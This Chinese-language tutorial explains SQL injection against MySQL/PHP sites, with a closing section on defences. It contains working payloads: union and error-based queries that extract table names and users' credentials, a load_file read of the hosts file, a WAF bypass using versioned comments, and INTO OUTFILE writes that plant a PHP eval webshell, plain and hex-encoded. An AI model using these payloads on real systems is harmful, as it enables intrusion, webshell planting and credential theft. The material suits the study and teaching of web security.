結構化查詢語⾔(Structured Query Language ,SQL),是⼀種特殊的程式設計語⾔,⽤於資料庫的標準資料查詢。1986 年10 ⽉美國國家標準協會對SQL 進⾏了規範後,以此作為關係型資料庫系統的標準語⾔。1987 年得到了國際標準組織的⽀持,成為了國際標準。
SQL隱碼攻擊是伺服器端未嚴格校驗使用者端傳送的資料,而導致伺服器端SQL語句被惡意修改併成功執行的行為
SQL 注⼊的攻擊⾏為可以描述為通過⽤戶可控引數中注⼊SQL 語法,破壞原有SQL 結構,達到編寫程式時意料之外結果的攻擊⾏為。其成因可以歸結為以下兩個原因疊加造成的。
根據SQL 注⼊漏洞的原理,⽤戶「可控引數」中注⼊SQL 與發,也就是說Web 應⽤獲取⽤戶輸⼊的地⽅,只要帶⼊資料庫查詢,都有存在SQL 注⼊的可能,這些地⽅通常包括:
提交方法有:get、post、cookie、request等
其中:request支援度較好,你把引數以get方式、post方式、cookie方式提交都是可以的
會在疑似注⼊點的地⽅或者引數後⾯嘗試提交資料,從而進⾏判斷是否存在SQL 注⼊漏洞。
測試資料 | 測試判斷 | 攻擊思路 |
---|---|---|
-1或+1 | 是否能夠回顯上⼀個或者下⼀個頁面(判斷是否有回顯) | 聯合注入 |
' 或" | 是否顯示資料庫錯誤資訊;回顯的頁面是否不同(字元型還是數位型) | 報錯注入 |
and 1=1 或者 and 1=2 | 回顯的頁面是否不同(判斷頁面是否有布林型別的狀態) | 布林盲注 |
and sleep(5) | 判斷頁面的返回時間 | 延時注入 |
\ | 判斷跳脫 | |
注意:如果你對著一個網站測試的時候,出現404,或者頁面跳轉,說明網站有防護
如下圖,一般來說,id之類的引數後面跟的是數位型(也有可能是字元型),別的引數後面跟的是字元型
如果有些字串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
如URLEncode編碼,ASCII、HEX、unicode編碼繞過:
/*!...*/
在MySQL裡,/**/是多行註釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*後頭加了感嘆號/*!50001sleep(3)*/
,那麼此註釋裡的語句將被執行。
/*!50001 select * from test */;
這裡的50001表示假如 資料庫是5.00.01以上版本,該語句才會被執行,對於有些waf我們可以通過這種方式進行繞過。
路徑常見獲取方法:
別用百度,用谷歌搜尋inurl:phpinfo.php
漏洞報錯、平臺組態檔、爆破等
可以利用SQL 注入漏洞進行檔案讀寫。
利用的前提條件:
這裡涉及到1個變數secure_file_priv
,該引數在高版本的 mysql 資料庫中限制了檔案的匯入匯出操作。若要設定此引數,需要修改 my.ini 組態檔,並重新啟動 mysql 服務【其在Phpstudy中預設是NULL,不允許讀寫檔案】
引數 | 含義 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允許匯入匯出操作 |
secure_file_priv=‘c:/a/’ | 會限制mysqld 的匯入匯出操作在某個固定目錄下,並且子目錄有效 |
secure_file_priv= | 不對mysqld 的匯入匯出操作做限制 |
修改組態檔,對讀寫不做限制,檔案路徑C:\phpStudy\MySQL\my.ini
,該操作比較敏感,需要在mysql的組態檔中操作,在phpmyadmin網頁中不能修改
?id=-1'union select 1,current_user(),3 --+
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
下面兩種方法一樣
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
這裡需要注意,寫16進位制是直接寫,寫明文的話,需要用引號給包住
寫phpinfo,沒有報錯就說明寫入成功,可以直接存取寫入的檔案地址
# 1. 直接寫 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改寫成16進位制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
寫一句話木馬
# 1. 直接寫 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改寫成16進位制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
在進行SQL隱碼攻擊時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行後續操作,同時作為手工注入,提前瞭解或預知其SQL語句的大概寫法也能更好的選擇對應的注入語句。
更詳細的介紹,請參見下一篇文章 《SQL隱碼攻擊的常見方式》
重點理解:我們可以通過下面的查詢方式和網站應用的關係、注入點產生地方、應用猜測到對方的SQL查詢方式
查詢方法舉例說明
舉例:select * from news where id=$id
舉例:insert into news(id,url,text) values(2,'x','$t')
舉例:delete from news where id=$id
舉例:update user set pwd='$p' where id=2 and username='admin'
舉例:select * from news order by $id
舉例:select id,name,price from news order by $order
盲注就是在注入過程中,獲取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試。
這個過程稱之為盲注。我們可以知道盲注分為以下三類:
基於布林的SQL盲注-邏輯判斷(不回顯)
regexp,like,ascii,left,ord,mid
基於時間的SQ盲注-延時判斷(不回顯)
if,sleep
基於報錯的SQL盲注-(強制)報錯回顯
floor,updatexml,extractvalue
報錯模板:https://www.jianshu.com/p/bc35f8dd4f7c
利用的就是mysql函數引數格式錯誤進行報錯注入。
updatexml()函數語法:updatexml(XML_document,Xpath_string,new_value);
適用版本是:5.1.5+
利用方式:在執行兩個函數時,如果出現xml檔案路徑錯誤,就會產生報錯 那麼我們就需要構造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的引數,mysql就會報錯
利用的原理是xpath格式不符報錯注入。
函數語法:extractvalue(XML_document,XPath_string)
適用的版本:5.1.5+
1. 獲取當前是資料庫名稱及使用mysql資料庫的版本資訊: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 獲取當前注入點的使用者許可權資訊及作業系統版本資訊: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 獲取當前位置所用資料庫的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 獲取資料表資訊: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 獲取users資料表的列名資訊: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 獲取對應的列名的資訊(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入漏洞是一種在Web應用程式中廣泛存在的安全漏洞形式。相對於一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
二次注入的原理:在第一次進行資料庫插入資料的時候,僅僅只是使用了 addslashes
或者是藉助 get_magic_quotes_gpc
對其中的特殊字元進行了跳脫,但是addslashes
有一個特點就是雖然引數在過濾後會新增\
進行跳脫,但是\
並不會插入到資料庫中,在寫入資料庫的時候還是保留了原來的資料。
在將資料存入到了資料庫中之後,開發者就認為資料是可信的。在下一次進行需要進行查詢的時候,直接從資料庫中取出了髒資料,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入資料的時候,資料中帶有單引號,直接插入到了資料庫中;然後在下一次使用中在拼湊的過程中,就形成了二次注入。
第一次進行資料庫插入資料的時候,僅僅對其中的特殊字元進行了跳脫,在寫入資料庫的時候還是保留了原來的資料,但是資料本身包含惡意內容
這裡使用的是sql-libs靶場的第24關
註冊了一個新使用者之後的資料庫如下
新使用者登入,並重置密碼
檢視資料庫,有意思的事情發生了,dhakkan的密碼改變了,但是新使用者的密碼沒有改變
堆疊注入(Stacked injections),從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令列中,每一條語句結尾加 ;
表示語句結束。這樣我們就想到了是不是可以多句一起使用。於是出現了堆疊注入(又稱堆疊查詢)
注意事項:
堆疊注入的使用條件十分有限,其可能受到API或者資料庫引擎,又或者許可權的限制只有當呼叫資料庫函數支援執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支援多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用呼叫資料庫的函數是mysqli_ query()函數,其只能執行一條語句,分號後面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅
DNSlog 就是儲存在 DNS Server 上的域名資訊,它記錄著使用者對域名 www.baidu.com 等的存取資訊,類似紀錄檔檔案。更多操作參見淺析DNSlog在滲透測試中的實戰技巧
MySQL、SQLServer、Oracle、PostgreSQL、Access五種資料庫應該是目前市面上最流行的資料庫了。我們進行滲透測試,碰到最多的也是這幾種資料庫。本文就這幾種資料庫在注入時的相同點和不同的做一下統計。
MySQL | SQLServer | Oracle | PostgreSQL | Access | |
---|---|---|---|---|---|
單行註釋 | # | -- | -- | -- | 無 |
多行註釋 | /**/ | /**/ | /**/ | /**/ | 無 |
資料庫埠 | 3306 | 1433 | 1521 | 5432 | 屬於檔案型資料庫,所以不需要埠號 |
.myd
、索引檔案:.MYI
、表定義檔案:.frm
.mdf
.dbf
和 .ora
.mdb
,Office 2007及之後是.accdb
查詢當前使用者 select user(); select substring_index(user(), '@', 1) ; 查詢當前使用者的許可權 select * from mysql.user where user = substring_index(user(), '@', 1) ;
判斷是否是SA許可權select is_srvrolemember('sysadmin') 判斷是否是db_owner許可權 select is_member('db_owner')判斷是否是public許可權select is_srvrolemember('public')
檢視當前使用者select * from user_users;檢視當前使用者擁有的角色 select * from session_roles;檢視當前使用者擁有的許可權select * from session_privs;
select user #檢視使用者select current_user #檢視當前使用者
Access資料庫是檔案型別資料庫,沒有使用者和許可權的概念
SQLServer:select char(97)
Oracle:select chr(97) from dual
select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)
在select資料時,我們往往需要將資料進行連線後進行回顯。很多的時候想將多個資料或者多行資料進行輸出的時候,需要使用字串連線函數。在sqli中,常見的字串連線函數有concat()
,group_concat()
,concat_ws()
。
本篇詳細講解以上三個函數。同時此處用mysql進行說明,其他型別資料庫請自行進行檢測。
不使用字串連線函數時:
但是這裡存在的一個問題是,當使用union聯合注入時,我們都知道,聯合注入要求前後兩個選擇的列數要相同,這裡id,username是兩個列,當我們要一個列的時候,(當然不排除你先爆出id,再爆出username,分兩次的做法)該怎麼辦?答案就是concat()
concat()
語法及使用特點:CONCAT(str1,str2,…)
返回結果為連線引數產生的字串。如有任何一個引數為NULL ,則返回值為 NULL。可以有一個或多個引數。
範例如下:
使用方法:CONCAT_WS(separator,str1,str2,...)
CONCAT_WS()
代表 CONCAT With Separator ,是CONCAT()
的特殊形式。第一個引數是其它引數的分隔符。分隔符的位置放在要連線的兩個字串之間。分隔符可以是一個字串,也可以是其它引數。
注意:如果分隔符為 NULL,則結果為 NULL。函數會忽略任何分隔符引數後的 NULL 值。
這裡以逗號分隔符為例,演示一下
基本查詢
mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec)
以id分組,把name欄位的值列印在一行,逗號分隔(預設)
mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec)
以id分組,把name欄位的值列印在一行,分號分隔
mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec)
以id分組,把去冗餘的name欄位的值列印在一行,
逗號分隔
mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec)
以id分組,把name欄位的值列印在一行,逗號分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec)
資料庫結構:資料庫 —> 表名 —> 列名 —> 資料
演示如下:
show database;
use dvwa; # 選中dvwa資料庫 show tables; # 檢視dvwa資料庫中有哪些表
select * from user;
select *from user\G;
select user,password from user;
減減空格 | "-- " | "–%20" | 「–+」 |
---|---|---|---|
# | 「#」 | "%23" | |
內聯註釋 | /* 被註釋掉的內容 */ | ||
資料庫中,符號.
代表下一級,如dvwa.user表示dvwa資料庫下的user表
推薦閱讀:SQL隱碼攻擊必備知識初級
1:mysql -uroot -proot登入資料庫
2:show databases; 檢視有哪些資料庫
3:use informatin_schema; 使用某資料庫
4:limit的用法
5:select 函數名; 查詢某內容
函數名有以下:
防禦SQL隱碼攻擊的核心思想是對使用者輸入的資料進行嚴格的檢查,並且對資料庫的使用採用最小許可權分配原則。目前SQL隱碼攻擊的防禦手段有以下幾種:
強迫使用引數化語句。引數化的語句使用引數而不是將使用者輸入變數嵌入到SQL語句中。採用這種措施,可以杜絕大部分的SQL隱碼攻擊式攻擊
例如Mybatis中使用#
可以防止SQL隱碼攻擊,$
並不能防止SQL隱碼攻擊
thinkphp使用陣列方式將自動使用框架自帶的欄位型別檢測防止注入、PDO驅動引數繫結、預處理等
Thinkphp框架的安全寫法 安全的替換寫法 $data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用陣列方式將自動使用框架自帶的欄位型別檢測防止注入 $data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//型別約束 $data=M('Member')->where('id='.intval($_GET['id']))->find();//型別轉換 $data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驅動可以使用引數繫結 $data=M('Member')->where("id=%d",array($_GET['id']))->find();//預處理機制 //不安全的寫法舉例 $_GET['id']=8;//希望得到的是正整數 $data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//執行的SQL語句 $_GET['id']='8 UNION SELECT * FROM `member`';;//隱患:構造畸形語句進行注入;
主要包括:
例如,避免網站顯示SQL執行出錯資訊,防止攻擊者使用基於錯誤的方式進行注入;每個資料層編碼統一,防止過濾模型被繞過等。使用WAF。
相關推薦:《mysql教學》
以上就是帶你瞭解SQL隱碼攻擊(詳細)的詳細內容,更多請關注TW511.COM其它相關文章!